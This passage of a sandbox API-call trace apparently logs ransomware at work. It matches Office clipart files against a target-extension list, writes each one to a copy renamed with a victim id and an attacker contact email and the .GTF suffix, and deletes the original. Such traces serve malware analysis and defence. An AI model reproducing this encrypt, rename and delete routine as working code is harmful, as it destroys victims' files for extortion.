	[0078.330] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.330] lstrlenW (lpString=".docx") returned 5
	[0078.330] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.330] lstrlenW (lpString=".pdf") returned 4
	[0078.330] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.330] lstrlenW (lpString=".xls") returned 4
	[0078.330] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.330] lstrlenW (lpString=".xlsx") returned 5
	[0078.330] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.330] lstrlenW (lpString=".ppt") returned 4
	[0078.330] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68
	[0078.330] lstrlenW (lpString=".zip") returned 4
	[0078.330] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.330] lstrlenW (lpString=".rar") returned 4
	[0078.330] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.330] lstrlenW (lpString=".bz2") returned 4
	[0078.331] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.331] lstrlenW (lpString=".7z") returned 3
	[0078.331] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68
	[0078.331] lstrlenW (lpString=".dbf") returned 4
	[0078.331] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68
	[0078.331] lstrlenW (lpString=".1cd") returned 4
	[0078.331] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0078.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68
	[0078.331] lstrlenW (lpString=".jpg") returned 4
	[0078.331] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0078.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68
	[0078.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68
	[0078.331] lstrlenW (lpString=".doc") returned 4
	[0078.331] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.331] lstrlenW (lpString=".docx") returned 5
	[0078.331] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.331] lstrlenW (lpString=".pdf") returned 4
	[0078.331] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.331] lstrlenW (lpString=".xls") returned 4
	[0078.331] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.331] lstrlenW (lpString=".xlsx") returned 5
	[0078.331] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.331] lstrlenW (lpString=".ppt") returned 4
	[0078.331] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68
	[0078.331] lstrlenW (lpString=".zip") returned 4
	[0078.331] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.331] lstrlenW (lpString=".rar") returned 4
	[0078.331] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.331] lstrlenW (lpString=".bz2") returned 4
	[0078.331] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.331] lstrlenW (lpString=".7z") returned 3
	[0078.331] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68
	[0078.332] lstrlenW (lpString=".dbf") returned 4
	[0078.332] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68
	[0078.332] lstrlenW (lpString=".1cd") returned 4
	[0078.332] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0078.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68
	[0078.332] lstrlenW (lpString=".jpg") returned 4
	[0078.332] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0078.332] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0078.332] lstrlenW (lpString="AG00037_.GIF") returned 12
	[0078.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0078.333] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=6684) returned 1
	[0078.333] CloseHandle (hObject=0x388) returned 1
	[0078.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif")) returned 0x220
	[0078.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0078.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0078.333] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.333] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0078.333] GetLastError () returned 0x0
	[0078.333] ReadFile (in: hFile=0x388, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x1a1c, lpOverlapped=0x0) returned 1
	[0078.335] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x1a20, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x1a20, lpOverlapped=0x0) returned 1
	[0078.336] ReadFile (in: hFile=0x388, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.336] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0078.336] SetEndOfFile (hFile=0x35c) returned 1
	[0078.337] CloseHandle (hObject=0x35c) returned 1
	[0078.338] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.338] SetEndOfFile (hFile=0x388) returned 1
	[0078.339] CloseHandle (hObject=0x388) returned 1
	[0078.339] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0078.339] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif")) returned 1
	[0078.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68
	[0078.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68
	[0078.340] lstrlenW (lpString=".doc") returned 4
	[0078.340] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.340] lstrlenW (lpString=".docx") returned 5
	[0078.340] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.340] lstrlenW (lpString=".pdf") returned 4
	[0078.340] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.340] lstrlenW (lpString=".xls") returned 4
	[0078.340] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.340] lstrlenW (lpString=".xlsx") returned 5
	[0078.340] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.340] lstrlenW (lpString=".ppt") returned 4
	[0078.340] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68
	[0078.340] lstrlenW (lpString=".zip") returned 4
	[0078.340] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.340] lstrlenW (lpString=".rar") returned 4
	[0078.340] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.340] lstrlenW (lpString=".bz2") returned 4
	[0078.340] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.340] lstrlenW (lpString=".7z") returned 3
	[0078.340] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68
	[0078.340] lstrlenW (lpString=".dbf") returned 4
	[0078.340] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68
	[0078.340] lstrlenW (lpString=".1cd") returned 4
	[0078.340] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0078.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68
	[0078.340] lstrlenW (lpString=".jpg") returned 4
	[0078.340] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0078.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68
	[0078.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68
	[0078.341] lstrlenW (lpString=".doc") returned 4
	[0078.341] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.341] lstrlenW (lpString=".docx") returned 5
	[0078.341] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.341] lstrlenW (lpString=".pdf") returned 4
	[0078.341] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.341] lstrlenW (lpString=".xls") returned 4
	[0078.341] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.341] lstrlenW (lpString=".xlsx") returned 5
	[0078.341] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.341] lstrlenW (lpString=".ppt") returned 4
	[0078.341] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68
	[0078.341] lstrlenW (lpString=".zip") returned 4
	[0078.341] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.341] lstrlenW (lpString=".rar") returned 4
	[0078.341] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.341] lstrlenW (lpString=".bz2") returned 4
	[0078.341] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.341] lstrlenW (lpString=".7z") returned 3
	[0078.341] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68
	[0078.341] lstrlenW (lpString=".dbf") returned 4
	[0078.341] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68
	[0078.341] lstrlenW (lpString=".1cd") returned 4
	[0078.341] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0078.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68
	[0078.341] lstrlenW (lpString=".jpg") returned 4
	[0078.341] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0078.341] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0078.342] lstrlenW (lpString="AG00038_.GIF") returned 12
	[0078.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0078.342] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=3251) returned 1
	[0078.342] CloseHandle (hObject=0x388) returned 1
	[0078.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif")) returned 0x220
	[0078.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0078.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0078.342] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.342] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0078.343] GetLastError () returned 0x0
	[0078.343] ReadFile (in: hFile=0x388, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0xcb3, lpOverlapped=0x0) returned 1
	[0078.742] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xcc0, lpOverlapped=0x0) returned 1
	[0078.743] ReadFile (in: hFile=0x388, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.743] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0078.743] SetEndOfFile (hFile=0x35c) returned 1
	[0078.743] CloseHandle (hObject=0x35c) returned 1
	[0078.744] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.744] SetEndOfFile (hFile=0x388) returned 1
	[0078.745] CloseHandle (hObject=0x388) returned 1
	[0078.745] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0078.746] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif")) returned 1
	[0078.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68
	[0078.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68
	[0078.746] lstrlenW (lpString=".doc") returned 4
	[0078.746] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.746] lstrlenW (lpString=".docx") returned 5
	[0078.746] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.746] lstrlenW (lpString=".pdf") returned 4
	[0078.746] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.746] lstrlenW (lpString=".xls") returned 4
	[0078.746] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.746] lstrlenW (lpString=".xlsx") returned 5
	[0078.746] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.746] lstrlenW (lpString=".ppt") returned 4
	[0078.746] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68
	[0078.746] lstrlenW (lpString=".zip") returned 4
	[0078.746] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.746] lstrlenW (lpString=".rar") returned 4
	[0078.746] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.746] lstrlenW (lpString=".bz2") returned 4
	[0078.746] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.746] lstrlenW (lpString=".7z") returned 3
	[0078.746] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68
	[0078.746] lstrlenW (lpString=".dbf") returned 4
	[0078.746] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68
	[0078.747] lstrlenW (lpString=".1cd") returned 4
	[0078.747] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0078.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68
	[0078.747] lstrlenW (lpString=".jpg") returned 4
	[0078.747] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0078.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68
	[0078.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68
	[0078.747] lstrlenW (lpString=".doc") returned 4
	[0078.747] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.747] lstrlenW (lpString=".docx") returned 5
	[0078.747] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.747] lstrlenW (lpString=".pdf") returned 4
	[0078.747] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.747] lstrlenW (lpString=".xls") returned 4
	[0078.747] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.747] lstrlenW (lpString=".xlsx") returned 5
	[0078.747] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.747] lstrlenW (lpString=".ppt") returned 4
	[0078.747] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68
	[0078.747] lstrlenW (lpString=".zip") returned 4
	[0078.747] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.747] lstrlenW (lpString=".rar") returned 4
	[0078.747] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.747] lstrlenW (lpString=".bz2") returned 4
	[0078.747] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.747] lstrlenW (lpString=".7z") returned 3
	[0078.747] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68
	[0078.747] lstrlenW (lpString=".dbf") returned 4
	[0078.747] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68
	[0078.747] lstrlenW (lpString=".1cd") returned 4
	[0078.747] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0078.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68
	[0078.748] lstrlenW (lpString=".jpg") returned 4
	[0078.748] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0078.748] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0078.748] lstrlenW (lpString="AG00139_.GIF") returned 12
	[0078.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0078.748] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=10607) returned 1
	[0078.748] CloseHandle (hObject=0x388) returned 1
	[0078.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif")) returned 0x220
	[0078.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0078.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0078.748] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.748] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0078.749] GetLastError () returned 0x0
	[0078.749] ReadFile (in: hFile=0x388, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x296f, lpOverlapped=0x0) returned 1
	[0078.750] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x2970, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x2970, lpOverlapped=0x0) returned 1
	[0078.751] ReadFile (in: hFile=0x388, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.752] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0078.752] SetEndOfFile (hFile=0x35c) returned 1
	[0078.752] CloseHandle (hObject=0x35c) returned 1
	[0078.753] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.753] SetEndOfFile (hFile=0x388) returned 1
	[0078.753] CloseHandle (hObject=0x388) returned 1
	[0078.754] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0078.754] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif")) returned 1
	[0078.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68
